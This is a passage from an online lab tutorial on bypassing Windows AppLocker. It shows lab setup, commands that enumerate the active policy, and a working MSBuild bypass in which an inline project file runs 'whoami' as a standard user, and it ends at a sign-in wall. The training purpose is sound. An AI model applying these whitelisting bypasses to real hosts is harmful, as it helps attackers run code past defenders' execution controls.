Practice library / Active Directory and Windows attacks
Lab · Hard · 3 hoursFree account
Application Whitelisting Bypass
AppLocker rule bypass via trusted paths, DLL side-loading, and COM objects.
On this page 9 sections
Before you start
AppLocker is Microsoft's application control feature, and it restricts the binaries and scripts users can run on a Windows host. Attackers still bypass it through trusted paths, signed LOLBins, side-loaded DLLs, and COM objects — gaps that most real deployments leave open. The work here builds each bypass against a live policy, then names the control that closes it.
What You'll Learn
- Enumerate an active AppLocker policy and identify gaps in its rules
- Execute arbitrary code through trusted LOLBin binaries
- Abuse writable paths inside trusted directories
- Side-load a DLL through a signed host application
- Instantiate COM objects to run script outside the policy
- Recommend hardening that closes each bypass
Lab Setup
You need two machines on an isolated lab network. Both are yours.
| Machine | Role | Details |
|---|---|---|
| Windows 10/11 lab VM | Target | Domain-joined or standalone. AppLocker enabled with default rules plus a custom deny-all for C:\Users\*\*.exe. Application Identity service running. |
| Kali Linux | Attacker | Used only for staging payloads and catching shells. |
Prepare the target. Open an elevated PowerShell and enable the Application Identity service, which AppLocker requires.
Set-Service -Name AppIDSvc -StartupType Automatic
Start-Service AppIDSvcApply a Group Policy or local policy that enables AppLocker with default executable rules (allow %WINDIR%\* and %PROGRAMFILES%\* for Everyone, allow everything for Administrators) and one custom rule that denies all executables under C:\Users\ for the standard user group. Log on as a standard user for the bypass steps.
Tools
- PowerShell 5.1 (built in).
msbuild.exe,mshta.exe,regsvr32.exe,cscript.exe— all ship with Windows.- Sysmon with a public config (SwiftOnSecurity or Olaf Hartong) for detection.
Authorised scope only. Isolated lab network. Never on production.
Step 1: Enumerate the AppLocker policy
Read the active rules
You cannot bypass a policy you have not read. The first move is always enumeration.
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollectionsRuleCollection : Exe
Action : Allow
UserOrGroupSid : S-1-1-0
Name : (Default Rule) All files located in the Windows folder
Condition: Path - %WINDIR%\*
Action : Allow
UserOrGroupSid : S-1-1-0
Name : (Default Rule) All files located in the Program Files folder
Condition: Path - %PROGRAMFILES%\*
Action : Deny
UserOrGroupSid : S-1-5-32-545
Name : Block user executables
Condition: Path - C:\Users\*\*.exeThe default rules trust everything inside %WINDIR% and %PROGRAMFILES%. The deny rule blocks .exe files under C:\Users\. Notice that the policy covers only the Exe collection. Script rules, DLL rules and MSI rules are not enforced. That is the first gap.
Check which collections are actually in enforce mode:
Get-AppLockerPolicy -Effective -Xml | Select-String 'RuleCollection Type'<RuleCollection Type="Exe" EnforcementMode="Enabled">Only Exe appears. Scripts, DLLs and MSI packages run without restriction. Write this down — it shapes every later step.
Step 2: Execute code with MSBuild
Abuse a trusted LOLBin
msbuild.exe lives inside %WINDIR% and is trusted by the default path rule. It compiles and runs inline C# from an XML project file.
Create a small .csproj file in a writable location. The file contains inline C# that the standard user can place anywhere.
$proj = @'
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Run">
<Exec Command="whoami > C:\Users\Public\proof.txt" />
</Target>
</Project>
'@
Set-Content -Path C:\Users\Public\build.csproj -Value $projRun it through MSBuild. The binary is inside C:\Windows\Microsoft.NET and is trusted.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\Public\build.csprojMicrosoft (R) Build Engine version 4.8.9032.0
Build started 11/20/2026 10:14:22.
Project "C:\Users\Public\build.csproj" on node 1 (default targets).
Run:
whoami > C:\Users\Public\proof.txt
Done Building Project "C:\Users\Public\build.csproj" (default targets).
Build succeeded.Confirm the proof file exists:
type C:\Users\Public\proof.txtcorp\labuserThe command ran as the standard user, outside AppLocker's reach, because MSBuild is a trusted path binary and the project file is not an .exe.
Sign in to continue
6 more sections are for signed-in members. It is free: sign in with Google.